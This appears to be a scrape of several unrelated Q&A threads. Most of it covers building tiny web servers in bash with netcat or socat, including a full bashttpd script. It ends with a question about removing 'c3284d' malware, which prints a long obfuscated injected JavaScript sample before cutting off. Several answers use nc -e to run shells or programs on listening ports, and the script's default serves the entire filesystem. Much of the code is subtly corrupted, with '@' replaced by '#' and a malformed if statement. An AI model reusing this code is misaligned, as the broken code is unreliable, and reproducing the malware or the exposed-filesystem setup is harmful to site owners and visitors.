cat <<'stage_tpl3' > fslvbm2c
...
template_list=`cat ../template_list`
...
stage_tpl3
When the terminating label for a heredoc is enclosed in quotes, substitutions within the heredoc are disabled. It works the exact same way, and Xcode is able to highlight it more gracefully. (As a bonus, it's also easier to read and write the script without all the backslashes in the way!)
As an aside, note that it's conventional to always use the label "EOF" for heredocs. Some editors special-case this for syntax highlighting. It's also easier to spot than something specific to the document.
I'm trying to set up a minimal web server using netcat (nc). When the browser calls up localhost:1500, for instance, it should show the result of a function (date in the example below, but eventually it'll be a python or c program that yields some data).
My little netcat web server needs to be a while true loop in bash, possibly as simple as this:
while true ; do echo -e "HTTP/1.1 200 OK\n\n $(date)" | nc -l -p 1500 ; done
When I try this the browser shows the currently available data during the moment when nc starts. I want the browser displays the data during the moment the browser requests it, though. How can I achieve this?
Try this:
while true ; do nc -l -p 1500 -c 'echo -e "HTTP/1.1 200 OK\n\n $(date)"'; done
The -cmakes netcat execute the given command in a shell, so you can use echo. If you don't need echo, use -e. For further information on this, try man nc. Note, that when using echo there is no way for your program (the date-replacement) to get the browser request. So you probably finally want to do something like this:
while true ; do nc -l -p 1500 -e /path/to/yourprogram ; done
Where yourprogram must do the protocol stuff like handling GET, sending HTTP 200 etc.
I had the problem where I wanted to return the result of executing a bash command:
$ while true; do { echo -e 'HTTP/1.1 200 OK\r\n'; sh test; } | nc -l 8080; done
NOTE:
This command was taken from: http://www.razvantudorica.com/08/web-server-in-one-line-of-bash
This executes a bash script and returns the result to a browser client connecting to the server running this command on port 8080.
My script does this:
$ nano test
#!/bin/bash
echo "************PRINT SOME TEXT***************\n"
echo "Hello World!!!"
echo "\n"
echo "Resources:"
vmstat -S M
echo "\n"
echo "Addresses:"
echo "$(ifconfig)"
echo "\n"
echo "$(gpio readall)"
and my web browser is showing
************PRINT SOME TEXT***************
Hello World!!!
Resources:
procs -----------memory---------- ---swap-- -----io---- -system-- ----cpu----
r b swpd free buff cache si so bi bo in cs us sy id wa
0 0 0 314 18 78 0 0 2 1 306 31 0 0 100 0
Addresses:
eth0 Link encap:Ethernet HWaddr b8:27:eb:86:e8:c5
inet addr:192.168.1.83 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:27734 errors:0 dropped:0 overruns:0 frame:0
TX packets:26393 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1924720 (1.8 MiB) TX bytes:3841998 (3.6 MiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
GPIOs:
+----------+-Rev2-+------+--------+------+-------+
| wiringPi | GPIO | Phys | Name | Mode | Value |
+----------+------+------+--------+------+-------+
| 0 | 17 | 11 | GPIO 0 | IN | Low |
| 1 | 18 | 12 | GPIO 1 | IN | Low |
| 2 | 27 | 13 | GPIO 2 | IN | Low |
| 3 | 22 | 15 | GPIO 3 | IN | Low |
| 4 | 23 | 16 | GPIO 4 | IN | Low |
| 5 | 24 | 18 | GPIO 5 | IN | Low |
| 6 | 25 | 22 | GPIO 6 | IN | Low |
| 7 | 4 | 7 | GPIO 7 | IN | Low |
| 8 | 2 | 3 | SDA | IN | High |
| 9 | 3 | 5 | SCL | IN | High |
| 10 | 8 | 24 | CE0 | IN | Low |
| 11 | 7 | 26 | CE1 | IN | Low |
| 12 | 10 | 19 | MOSI | IN | Low |
| 13 | 9 | 21 | MISO | IN | Low |
| 14 | 11 | 23 | SCLK | IN | Low |
| 15 | 14 | 8 | TxD | ALT0 | High |
| 16 | 15 | 10 | RxD | ALT0 | High |
| 17 | 28 | 3 | GPIO 8 | ALT2 | Low |
| 18 | 29 | 4 | GPIO 9 | ALT2 | Low |
| 19 | 30 | 5 | GPIO10 | ALT2 | Low |
| 20 | 31 | 6 | GPIO11 | ALT2 | Low |
+----------+------+------+--------+------+-------+
Add -q 1 to the netcat command line:
while true; do
echo -e "HTTP/1.1 200 OK\n\n $(date)" | nc -l -p 1500 -q 1
done
The problem you are facing is that nc does not know when the web client is done with its request so it can respond to the request.
A web session should go something like this.
TCP session is established.
Browser Request Header: GET / HTTP/1.1
Browser Request Header: Host: www.google.com
Browser Request Header: \n #Note: Browser is telling Webserver that the request header is complete.
Server Response Header: HTTP/1.1 200 OK
Server Response Header: Content-Type: text/html
Server Response Header: Content-Length: 24
Server Response Header: \n #Note: Webserver is telling browser that response header is complete
Server Message Body: <html>sample html</html>
Server Message Body: \n #Note: Webserver is telling the browser that the requested resource is finished.
The server closes the TCP session.
Lines that begin with "\n" are simply empty lines without even a space and contain nothing more than a new line character.
I have my bash httpd launched by xinetd, xinetd tutorial. It also logs date, time, browser IP address, and the entire browser request to a log file, and calculates Content-Length for the Server header response.
user#machine:/usr/local/bin# cat ./bash_httpd
#!/bin/bash
x=0;
Log=$( echo -n "["$(date "+%F %T %Z")"] $REMOTE_HOST ")$(
while read I[$x] && [ ${#I[$x]} -gt 1 ];do
echo -n '"'${I[$x]} | sed -e's,.$,",'; let "x = $x + 1";
done ;
); echo $Log >> /var/log/bash_httpd
Message_Body=$(echo -en '<html>Sample html</html>')
echo -en "HTTP/1.0 200 OK\nContent-Type: text/html\nContent-Length: ${#Message_Body}\n\n$Message_Body"
To add more functionality, you could incorporate.
METHOD=$(echo ${I[0]} |cut -d" " -f1)
REQUEST=$(echo ${I[0]} |cut -d" " -f2)
HTTP_VERSION=$(echo ${I[0]} |cut -d" " -f3)
If METHOD = "GET" ]; then
case "$REQUEST" in
"/") Message_Body="HTML formatted home page stuff"
;;
/who) Message_Body="HTML formatted results of who"
;;
/ps) Message_Body="HTML formatted results of ps"
;;
*) Message_Body= "Error Page not found header and content"
;;
esac
fi
Happy bashing!
Another way to do this
while true; do (echo -e 'HTTP/1.1 200 OK\r\n'; echo -e "\n\tMy website has date function" ; echo -e "\t$(date)\n") | nc -lp 8080; done
Let's test it with 2 HTTP request using curl
In this example, 172.16.2.6 is the server IP Address.
Server Side
admin#server:~$ while true; do (echo -e 'HTTP/1.1 200 OK\r\n'; echo -e "\n\tMy website has date function" ; echo -e "\t$(date)\n") | nc -lp 8080; done
GET / HTTP/1.1 Host: 172.16.2.6:8080 User-Agent: curl/7.48.0 Accept:
*/*
GET / HTTP/1.1 Host: 172.16.2.6:8080 User-Agent: curl/7.48.0 Accept:
*/*
Client Side
user#client:~$ curl 172.16.2.6:8080
My website has date function
Tue Jun 13 18:00:19 UTC 2017
user#client:~$ curl 172.16.2.6:8080
My website has date function
Tue Jun 13 18:00:24 UTC 2017
user#client:~$
If you want to execute another command, feel free to replace $(date).
I had the same need/problem but nothing here worked for me (or I didn't understand everything), so this is my solution.
I post my minimal_http_server.sh (working with my /bin/bash (4.3.11) but not /bin/sh because of the redirection):
rm -f out
mkfifo out
trap "rm -f out" EXIT
while true
do
cat out | nc -l 1500 > >( # parse the netcat output, to build the answer redirected to the pipe "out".
export REQUEST=
while read -r line
do
line=$(echo "$line" | tr -d '\r\n')
if echo "$line" | grep -qE '^GET /' # if line starts with "GET /"
then
REQUEST=$(echo "$line" | cut -d ' ' -f2) # extract the request
elif [ -z "$line" ] # empty line / end of request
then
# call a script here
# Note: REQUEST is exported, so the script can parse it (to answer 200/403/404 status code + content)
./a_script.sh > out
fi
done
)
done
And my a_script.sh (with your need):
#!/bin/bash
echo -e "HTTP/1.1 200 OK\r"
echo "Content-type: text/html"
echo
date
mkfifo pipe;
while true ;
do
#use read line from pipe to make it blocks before request comes in,
#this is the key.
{ read line<pipe;echo -e "HTTP/1.1 200 OK\r\n";echo $(date);
} | nc -l -q 0 -p 8080 > pipe;
done
Here is a beauty of a little bash webserver, I found it online and forked a copy and spruced it up a bit - it uses socat or netcat I have tested it with socat -- it is self-contained in one-script and generates its own configuration file and favicon.
By default it will start up as a web enabled file browser yet is easily configured by the configuration file for any logic. For files it streams images and music (mp3's), video (mp4's, avi, etc) -- I have tested streaming various file types to Linux,Windows and Android devices including a smartwatch!
I think it streams better than VLC actually. I have found it useful for transferring files to remote clients who have no access beyond a web browser e.g. Android smartwatch without needing to worry about physically connecting to a USB port.
If you want to try it out just copy and paste it to a file named bashttpd, then start it up on the host with $> bashttpd -s
Then you can go to any other computer (presuming the firewall is not blocking inbound tcp connections to port 8080 -- the default port, you can change the port to whatever you want using the global variables at the top of the script). http://bashttpd_server_ip:8080
#!/usr/bin/env bash
#############################################################################
###########################################################################
### bashttpd v 1.12
###
### Original author: Avleen Vig, 2012
### Reworked by: Josh Cartwright, 2012
### Modified by: A.M.Danischewski, 2015
### Issues: If you find any issues leave me a comment at
### http://scriptsandoneliners.blogspot.com/2015/04/bashttpd-self-contained-bash-webserver.html
###
### This is a simple Bash based webserver. By default it will browse files and allows for
### retrieving binary files.
###
### It has been tested successfully to view and stream files including images, mp3s,
### mp4s and downloading files of any type including binary and compressed files via
### any web browser.
###
### Successfully tested on various browsers on Windows, Linux and Android devices (including the
### Android Smartwatch ZGPAX S8).
###
### It handles favicon requests by hardcoded favicon image -- by default a marathon
### runner; change it to whatever you want! By base64 encoding your favorit favicon
### and changing the global variable below this header.
###
### Make sure if you have a firewall it allows connections to the port you plan to
### listen on (8080 by default).
###
### By default this program will allow for the browsing of files from the
### computer where it is run.
###
### Make sure you are allowed connections to the port you plan to listen on
### (8080 by default). Then just drop it on a host machine (that has bash)
### and start it up like this:
###
### $192.168.1.101> bashttpd -s
###
### On the remote machine you should be able to browse and download files from the host
### server via any web browser by visiting:
###
### http://192.168.1.101:8080
###
#### This program requires (to work to full capacity) by default:
### socat or netcat (w/ '-e' option - on Ubuntu netcat-traditional)
### tree - useful for pretty directory listings
### If you are using socat, you can type: bashttpd -s
###
### to start listening on the LISTEN_PORT (default is 8080), you can change
### the port below.
### E.g. nc -lp 8080 -e ./bashttpd ## <-- If your nc has the -e option.
### E.g. nc.traditional -lp 8080 -e ./bashttpd
### E.g. bashttpd -s -or- socat TCP4-LISTEN:8080,fork EXEC:bashttpd
###
### Copyright (C) 2012, Avleen Vig <avleen#gmail.com>
###
### Permission is hereby granted, free of charge, to any person obtaining a copy of
### this software and associated documentation files (the "Software"), to deal in
### the Software without restriction, including without limitation the rights to
### use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
### the Software, and to permit persons to whom the Software is furnished to do so,
### subject to the following conditions:
###
### The above copyright notice and this permission notice shall be included in all
### copies or substantial portions of the Software.
###
### THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
### IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
### FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
### COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
### IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
### CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
###
###########################################################################
#############################################################################
### CHANGE THIS TO WHERE YOU WANT THE CONFIGURATION FILE TO RESIDE
declare -r BASHTTPD_CONF="/tmp/bashttpd.conf"
### CHANGE THIS IF YOU WOULD LIKE TO LISTEN ON A DIFFERENT PORT
declare -i LISTEN_PORT=8080
## If you are on AIX, IRIX, Solaris, or a hardened system redirecting
## to /dev/random will probably break, you can change it to /dev/null.
declare -a DUMP_DEV="/dev/random"
## Just base64 encode your favorite favicon and change this to whatever you want.
declare -r FAVICON="AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAAAIAAAAAEAIAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAADg4+3/srjc/5KV2P+ortn/xMrj/6Ch1P+Vl9f/jIzc/3572f+CgNr/fnzP/3l01f+Ih9r/h4TZ/8fN4//P1Oj/3uPr/7O+1v+xu9X/u8XY/9bi6v+UmdD/XV26/3F1x/+GitT/VVXC/3x/x/+HjNT/lp3Z/6633f/E0eD/2ePr/+bt8v/U4+v/0uLp/9Xj6//Z5e3/oKbX/0pJt/9maML/cHLF/3p8x//T3+n/3Ofu/9vo7//W5Oz/0uHq/9zn7f/j6vD/1OLs/8/f6P/R4Oj/1OPr/7jA4f9KSbf/Skm3/3p/yf/U4ez/1ePq/9rn7//Z5e3/0uHp/87e5//a5Ov/5Ovw/9Hf6v/T4uv/1OLp/9bj6/+kq9r/Skq3/0pJt/+cotb/zdnp/9jl7f/a5u//1+Ts/9Pi6v/O3ub/2uXr/+bt8P/Q3un/0eDq/9bj7P/Z5u7/r7jd/0tKt/9NTLf/S0u2/8zW6v/c5+//2+fv/9bj6//S4un/zt3m/9zm7P/k7PD/1OPr/9Li7P/V5Oz/2OXt/9jl7v+HjM3/lZvT/0tKt/+6w+L/2ebu/9fk7P/V4+v/0uHq/83d5v/a5ev/5ezw/9Pi6v/U4+z/1eXs/9bj6//b5+//vsjj/1hYvP9JSLb/horM/9nk7P/X5e3/1eTs/9Pi6v/P3uf/2eXr/+Tr7//O3+n/0uLr/9Xk7P/Y5e3/w8/k/7XA3/9JR7f/SEe3/2lrw//G0OX/1uLr/9Xi7P/T4ev/0N/o/9zn7f/k7PD/zN3p/8rd5v/T4ur/1ePt/5We0/+0w9//SEe3/0pKt/9OTrf/p7HZ/7fD3//T4uv/0N/o/9Hg6f/d5+3/5ezw/9Li6//T4uv/2ubu/8PQ5f9+hsr/ucff/4eOzv+Ei8z/rLja/8zc6P/I1+b/0OLq/8/f6P/Q4Oj/3eft/+bs8f/R4On/0+Lq/9Tj6v/T4Ov/wM7h/9Df6f/M2uf/z97q/9Dg6f/Q4On/1OPr/9Tj6//S4ur/0ODp/93o7f/n7vH/0N/o/8/f5//P3+b/2OXt/9zo8P/c6fH/zdjn/7fB3/+3weD/1eLs/9nn7//V5Oz/0+Lr/9Pi6//e6O7/5u3x/9Pi6v/S4en/0uLp/9Tj6//W4+v/3Ojw/9rm7v9vccT/wcvm/9rn7//X5Oz/0uHq/9Hg6f/S4er/3uju/+bt8f/R4On/0uHp/9Xk6//Y5u7/1OTs/9bk7P/W5Ov/XFy9/2lrwf/a5+//1uPr/9Pi6v/U4er/0eHq/93o7v/v8vT/5ezw/+bt8f/o7vL/6e/z/+jv8v/p7/L/6e/y/9XZ6//IzOX/6e7y/+nv8v/o7vL/5+7x/+ft8f/r8PP/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
declare -i DEBUG=1
declare -i VERBOSE=0
declare -a REQUEST_HEADERS
declare REQUEST_URI=""
declare -a HTTP_RESPONSE=(
[200]="OK"
[400]="Bad Request"
[403]="Forbidden"
[404]="Not Found"
[405]="Method Not Allowed"
[500]="Internal Server Error")
declare DATE=$(date +"%a, %d %b %Y %H:%M:%S %Z")
declare -a RESPONSE_HEADERS=(
"Date: $DATE"
"Expires: $DATE"
"Server: Slash Bin Slash Bash"
)
function warn() { ((${VERBOSE})) && echo "WARNING: $#" >&2; }
function chk_conf_file() {
[ -r "${BASHTTPD_CONF}" ] || {
cat >"${BASHTTPD_CONF}" <<'EOF'
#
# bashttpd.conf - configuration for bashttpd
#
# The behavior of bashttpd is dictated by the evaluation
# of rules specified in this configuration file. Each rule
# is evaluated until one is matched. If no rule is matched,
# bashttpd will serve a 500 Internal Server Error.
#
# The format of the rules are:
# on_uri_match REGEX command [args]
# unconditionally command [args]
#
# on_uri_match:
# On an incoming request, the URI is checked against the specified
# (bash-supported extended) regular expression, and if encounters a match the
# specified command is executed with the specified arguments.
#
# For additional flexibility, on_uri_match will also pass the results of the
# regular expression match, ${BASH_REMATCH[#]} as additional arguments to the
# command.
#
# unconditionally:
# Always serve via the specified command. Useful for catchall rules.
#
# The following commands are available for use:
#
# serve_file FILE
# Statically serves a single file.
#
# serve_dir_with_tree DIRECTORY
# Statically serves the specified directory using 'tree'. It must be
# installed and in the PATH.
#
# serve_dir_with_ls DIRECTORY
# Statically serves the specified directory using 'ls -al'.
#
# serve_dir DIRECTORY
# Statically serves a single directory listing. Will use 'tree' if it is
# installed and in the PATH, otherwise, 'ls -al'
#
# serve_dir_or_file_from DIRECTORY
# Serves either a directory listing (using serve_dir) or a file (using
# serve_file). Constructs local path by appending the specified root
# directory, and the URI portion of the client request.
#
# serve_static_string STRING
# Serves the specified static string with Content-Type text/plain.
#
# Examples of rules:
#
# on_uri_match '^/issue$' serve_file "/etc/issue"
#
# When a client's requested URI matches the string '/issue', serve them the
# contents of /etc/issue
#
# on_uri_match 'root' serve_dir /
#
# When a client's requested URI has the word 'root' in it, serve up
# a directory listing of /
#
# DOCROOT=/var/www/html
# on_uri_match '/(.*)' serve_dir_or_file_from "$DOCROOT"
# When any URI request is made, attempt to serve a directory listing
# or file content based on the request URI, by mapping URI's to local
# paths relative to the specified "$DOCROOT"
#
#unconditionally serve_static_string 'Hello, world! You can configure bashttpd by modifying bashttpd.conf.'
DOCROOT=/
on_uri_match '/(.*)' serve_dir_or_file_from
# More about commands:
#
# It is possible to somewhat easily write your own commands. An example
# may help. The following example will serve "Hello, $x!" whenever
# a client sends a request with the URI /say_hello_to/$x:
#
# serve_hello() {
# add_response_header "Content-Type" "text/plain"
# send_response_ok_exit <<< "Hello, $2!"
# }
# on_uri_match '^/say_hello_to/(.*)$' serve_hello
#
# Like mentioned before, the contents of ${BASH_REMATCH[#]} are passed
# to your command, so its possible to use regular expression groups
# to pull out info.
#
# With this example, when the requested URI is /say_hello_to/Josh, serve_hello
# is invoked with the arguments '/say_hello_to/Josh' 'Josh',
# (${BASH_REMATCH[0]} is always the full match)
EOF
warn "Created bashttpd.conf using defaults. Please review and configure bashttpd.conf before running bashttpd again."
# exit 1
}
}
function recv() { ((${VERBOSE})) && echo "< $#" >&2; }
function send() { ((${VERBOSE})) && echo "> $#" >&2; echo "$*"; }
function add_response_header() { RESPONSE_HEADERS+=("$1: $2"); }
function send_response_binary() {
local code="$1"
local file="${2}"
local transfer_stats=""
local tmp_stat_file="/tmp/_send_response_$$_"
send "HTTP/1.0 $1 ${HTTP_RESPONSE[$1]}"
for i in "${RESPONSE_HEADERS[#]}"; do
send "$i"
done
send
if ((${VERBOSE})); then
## Use dd since it handles null bytes
dd 2>"${tmp_stat_file}" < "${file}"
transfer_stats=$(<"${tmp_stat_file}")
echo -en ">> Transferred: ${file}\n>> $(awk '/copied/{print}' <<< "${transfer_stats}")\n" >&2
rm "${tmp_stat_file}"
else
## Use dd since it handles null bytes
dd 2>"${DUMP_DEV}" < "${file}"
fi
}
function send_response() {
local code="$1"
send "HTTP/1.0 $1 ${HTTP_RESPONSE[$1]}"
for i in "${RESPONSE_HEADERS[#]}"; do
send "$i"
done
send
while IFS= read -r line; do
send "${line}"
done
}
function send_response_ok_exit() { send_response 200; exit 0; }
function send_response_ok_exit_binary() { send_response_binary 200 "${1}"; exit 0; }
function fail_with() { send_response "$1" <<< "$1 ${HTTP_RESPONSE[$1]}"; exit 1; }
function serve_file() {
local file="$1"
local CONTENT_TYPE=""
case "${file}" in
*\.css)
CONTENT_TYPE="text/css"
;;
*\.js)
CONTENT_TYPE="text/javascript"
;;
*)
CONTENT_TYPE=$(file -b --mime-type "${file}")
;;
esac
add_response_header "Content-Type" "${CONTENT_TYPE}"
CONTENT_LENGTH=$(stat -c'%s' "${file}")
add_response_header "Content-Length" "${CONTENT_LENGTH}"
## Use binary safe transfer method since text doesn't break.
send_response_ok_exit_binary "${file}"
}
function serve_dir_with_tree() {
local dir="$1" tree_vers tree_opts basehref x
## HTML 5 compatible way to avoid tree html from generating favicon
## requests in certain browsers, such as browsers in android smartwatches. =)
local no_favicon=" <link href=\"data:image/x-icon;base64,${FAVICON}\" rel=\"icon\" type=\"image/x-icon\" />"
local tree_page=""
local base_server_path="/${2%/}"
[ "$base_server_path" = "/" ] && base_server_path=".."
local tree_opts="--du -h -a --dirsfirst"
add_response_header "Content-Type" "text/html"
# The --du option was added in 1.6.0. "/${2%/*}"
read _ tree_vers x < <(tree --version)
tree_page=$(tree -H "$base_server_path" -L 1 "${tree_opts}" -D "${dir}")
tree_page=$(sed "5 i ${no_favicon}" <<< "${tree_page}")
[[ "${tree_vers}" == v1.6* ]]
send_response_ok_exit <<< "${tree_page}"
}
function serve_dir_with_ls() {
local dir="$1"
add_response_header "Content-Type" "text/plain"
send_response_ok_exit < \
<(ls -la "${dir}")
}
function serve_dir() {
local dir="$1"
# If `tree` is installed, use that for pretty output.
which tree &>"${DUMP_DEV}" && \
serve_dir_with_tree "$#"
serve_dir_with_ls "$#"
fail_with 500
}
function urldecode() { [ "${1%/}" = "" ] && echo "/" || echo -e "$(sed 's/%\([[:xdigit:]]\{2\}\)/\\\x\1/g' <<< "${1%/}")"; }
function serve_dir_or_file_from() {
local URL_PATH="${1}/${3}"
shift
URL_PATH=$(urldecode "${URL_PATH}")
[[ $URL_PATH == *..* ]] && fail_with 400
# Serve index file if exists in requested directory
[[ -d "${URL_PATH}" && -f "${URL_PATH}/index.html" && -r "${URL_PATH}/index.html" ]] && \
URL_PATH="${URL_PATH}/index.html"
if [[ -f "${URL_PATH}" ]]; then
[[ -r "${URL_PATH}" ]] && \
serve_file "${URL_PATH}" "$#" || fail_with 403
elif [[ -d "${URL_PATH}" ]]; then
[[ -x "${URL_PATH}" ]] && \
serve_dir "${URL_PATH}" "$#" || fail_with 403
fi
fail_with 404
}
function serve_static_string() {
add_response_header "Content-Type" "text/plain"
send_response_ok_exit <<< "$1"
}
function on_uri_match() {
local regex="$1"
shift
[[ "${REQUEST_URI}" =~ $regex ]] && \
"$#" "${BASH_REMATCH[#]}"
}
function unconditionally() { "$#" "$REQUEST_URI"; }
function main() {
local recv=""
local line=""
local REQUEST_METHOD=""
local REQUEST_HTTP_VERSION=""
chk_conf_file
[[ ${UID} = 0 ]] && warn "It is not recommended to run bashttpd as root."
# Request-Line HTTP RFC 2616 $5.1
read -r line || fail_with 400
line=${line%%$'\r'}
recv "${line}"
read -r REQUEST_METHOD REQUEST_URI REQUEST_HTTP_VERSION <<< "${line}"
[ -n "${REQUEST_METHOD}" ] && [ -n "${REQUEST_URI}" ] && \
[ -n "${REQUEST_HTTP_VERSION}" ] || fail_with 400
# Only GET is supported at this time
[ "${REQUEST_METHOD}" = "GET" ] || fail_with 405
while IFS= read -r line; do
line=${line%%$'\r'}
recv "${line}"
# If we've reached the end of the headers, break.
[ -z "${line}" ] && break
REQUEST_HEADERS+=("${line}")
done
}
if [[ ! -z "{$1}" ]] && [ "${1}" = "-s" ]; then
socat TCP4-LISTEN:${LISTEN_PORT},fork EXEC:"${0}"
else
main
source "${BASHTTPD_CONF}"
fail_with 500
fi
LOL, a super lame hack, but at least curl and firefox accepts it:
while true ; do (dd if=/dev/zero count=10000;echo -e "HTTP/1.1\n\n $(date)") | nc -l 1500 ; done
You better replace it soon with something proper!
Ah yes, my nc were not exactly the same as yours, it did not like the -p option.
If you're using Apline Linux, the BusyBox netcat is slightly different:
while true; do nc -l -p 8080 -e sh -c 'echo -e "HTTP/1.1 200 OK\n\n$(date)"'; done
And another way using printf:
while true; do nc -l -p 8080 -e sh -c "printf 'HTTP/1.1 200 OK\n\n%s' \"$(date)\""; done
while true; do (echo -e 'HTTP/1.1 200 OK\r\nConnection: close\r\n';) | timeout 1 nc -lp 8080 ; done
Closes connection after 1 sec, so curl doesn't hang on it.
Type in nc -h and see if You have -e option available. If yes, You can create a script, for example:
script.sh
echo -e "HTTP/1.1 200 OK\n\n $(date)"
and run it like this:
while true ; do nc -l -p 1500 -e script.sh; done
Note that -e option needs to be enabled at compilation to be available.
I think the problem that all the solution listed doesn't work, is intrinsic in the nature of http service, the every request established is with a different client and the response need to be processed in a different context, every request must fork a new instance of response...
The current solution I think is the -e of netcat but I don't know why doesn't work... maybe is my nc version that I test on openwrt...
with socat it works....
I try this https://github.com/avleen/bashttpd
and it works, but I must run the shell script with this command.
socat tcp-l:80,reuseaddr,fork EXEC:bashttpd &
The socat and netcat samples on github doesn't works for me, but the socat that I used works.
Actually, the best way to close gracefully the connection is to send the Content-Length header like following. Client (like curl will close the connection after receiving the data.
DATA="Date: $(date)";
LENGTH=$(echo $DATA | wc -c);
echo -e "HTTP/1.1 200 OK\nContent-Length: ${LENGTH}\n\n${DATA}" | nc -l -p 8000;
On OSX you can use :
while true; do echo -e "HTTP/1.1 200 OK\n\n $(date)" | nc -l localhost 1500 ; done
We have around 11 servers for a total of roughly 1500 sites infected with the c3284d malware. We want to do a shell script to replace all the code which appears to have hit html, js, and php files. They also planted a file called "p" in the user's home folder which contains a larger version of the malware.
We came across a few suggestions for find/replace but they don't appear to work for us, or we just don''t know how to do it properly.
Here's what we have so far:
for FILE in $(grep -H -r -l "c3284d" /home)
do
sed -i '/c3284d/d;/bVPbjpswEP2WWuoK/d' ${FILE}
done
This only deletes the signature of "c3284d" and not the junk that was inserted. Can someone help to fix this to erase this mess from the files. The "c3284d" usually appears on it's own line, but not always, and starts and ends with it.
Here's a few examples of what we are seeing:
<!--c3284d--><script>function dow(hit){var var1=0.0086;var1+=18;return hit}var var2=0.0165;var2+=16;function gel(str,shift){var sux,ext,var2,len,ich,pos,cnt1,var6,var4,ret,var5,var1,cnt2,sh,var3,ch,ch;var var1=0.0018;var var2=4771;var2++;var var3=0.043;var3-=18;var var2='CYBsubfX'.substr(3,3);function aal(why,thy){var var4=0.0111;var4--;return thy}var2+='QDsstrr3'.substr(3,3);var var8=7678;if(var8<25){var var6=0.0028;if(var6!=0){var var5=2108;var5++}var var7={yeh:0.0022}}var var6=25;function led(pow,nib,xis){var var9=7;var9++;return nib}var6-=9;var var10=6;var10++;var var12=0.0102;if(var12!=5){var var11=0.021;var11--}var var1='OpulenmH'.substr(3,3);var var14=0.012;if(var14!=null){var var13=12;var13-=0.0027}var1+='Msgthln'.substr(2,3);var var16=8439;if(var16<0.0142){var var15=5943;var15+=0.007}var var5=40;function lar(rad,tsk,dud){var var17=13;var17++;var var18=13;var18-=0.0199;return tsk}var5+=22;var var19=0.021;var var4='CyqfromxB'.substr(3,4);var var20=0.0058;var20++;var var22=0.0179;if(var22!=null){var var21=23;var21--}var4+='zsCharAR'.substr(2,4);var var23=0.0435;var23--;var4+='XDoCodeWm'.substr(3,4);function lug(cod){var var26=0.0038;if(var26!=26){var var24=0.037;var24+=24;var var25=2702}var var31=5244;if(var31<0.0085){var var27='voADrb8a1';var var30=5099;if(var30!=6){var var28=0.0233;var28++;var var29=null}}return cod}var var3='sF68indeOu'.substr(4,4);var var34=3367;if(var34!=0.0246){var var32=0.0089;var32++;var var33='cut'}var3+='Tq4xOfAk'.substr(3,3);var var36=0.0101;if(var36>25){var var35=0.0071;var35+=3169}var var38=13;if(var38==0){var var37=5;var37+=3684}var sux='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';var var39=0;do{var var40=4847;var40+=29;var var41=26;var41++;var39++}while(var39<7);var var42=0.0239;var42-=16;var ret='';function jot(few,hyp){var var43=null;var43-=0.0021;return hyp}var ext='';var var44=1250;var44++;var var45=0.0034;var45+=6258;var sh=0;var var46=7594;var46++;var var47=3240;var47--;var len=str[var1];var var49=3026;if(var49!=null){var var48=0.004;var48-=20}for(var cnt1=0;cnt1<len;cnt1++){var var50=14;var50+=0.013;sh+=shift;var var51=6;var51++;var var52=0.0193;var52++;var ch=str[var2](cnt1,1);var var53=0;do{var var55=7261;if(var55!=null){var var54=16;var54+=14}var var58=1404;if(var58>17){var var56=[10,0,50,30,40,20];var var57=5412;var57++}var53++}while(var53<8);var pos=sux[var3](ch);var var59=0.0262;var59++;pos+=sh;var var60=6;var60+=6;pos%=var5;for(var var61=0;var61<10;var61++){var var62=21;var62++;var var63=4887;var63-=4113}ret+=sux[var2](pos,1);var var66=0.062;if(var66>22){var var64=0;var64+=3831;var var65=0.013;var65-=11}var var67=0.0122;var67-=3665}var var68=0.017;var68++;var var69=null;var69-=0.0069;for(var cnt2=0;cnt2<len;cnt2+=2){function tub(uke,dun){var var70=0;do{var var73=5314;if(var73!=4129){var var71=0;var71+=0.0322;var var72=false}var70++}while(var70<7);var var74=0.0238;var74-=6514;return uke}var var75=17;var75-=21;var ch=ret[var2](cnt2,2);function cue(ton){var var78=0.003;if(var78==28){var var76=0;var76+=7;var var77=0.0089;var77--}return ton}var ich=parseInt(ch,var6);var var79=0;while(var79<7){var var81=6374;if(var81!=0.0126){var var80=0.003;var80+=1176}var79++}ext+=String[var4](ich);function gun(sub,vug){var var82=0.005;var82--;var var83=null;return sub}var var84=10;var84--}function ree(ban,set){var var89=0.0136;if(var89<0){var var86=11;if(var86<4930){var var85=0;var85-=4954}var var88=5;if(var88<0){var var87=8525;var87--}}return ban}return ext}var var3=0;var3-=6479;for(var var4=0;var4<10;var4++){var var5=7;var5+=26}function ulu(){var hi,test,lo;function bid(pah){var var9=0.0011;if(var9==19){var var7=1393;if(var7==0.017){var var3=19;if(var3==null){var var2=7;if(var2!=3669){var var1=[21,42,28,0,35,7,14]}}var var6=0.005;if(var6!=5605){var var4=0.028;var4-=10;var var5=0.0145;var5+=0.004}}var var8=['the','eft','mas']}return pah}var var10=18;var10--;var var11=5110;var11--;var var14=0.014;if(var14==null){var var12=1537;var12--;var var13=0.012;var13--}var hi=this.seed/this.Q;function cos(wag){var var15='hum';var var16=['teg','yod'];return wag}function yew(tat){var var17=0.0109;var17-=3465;return 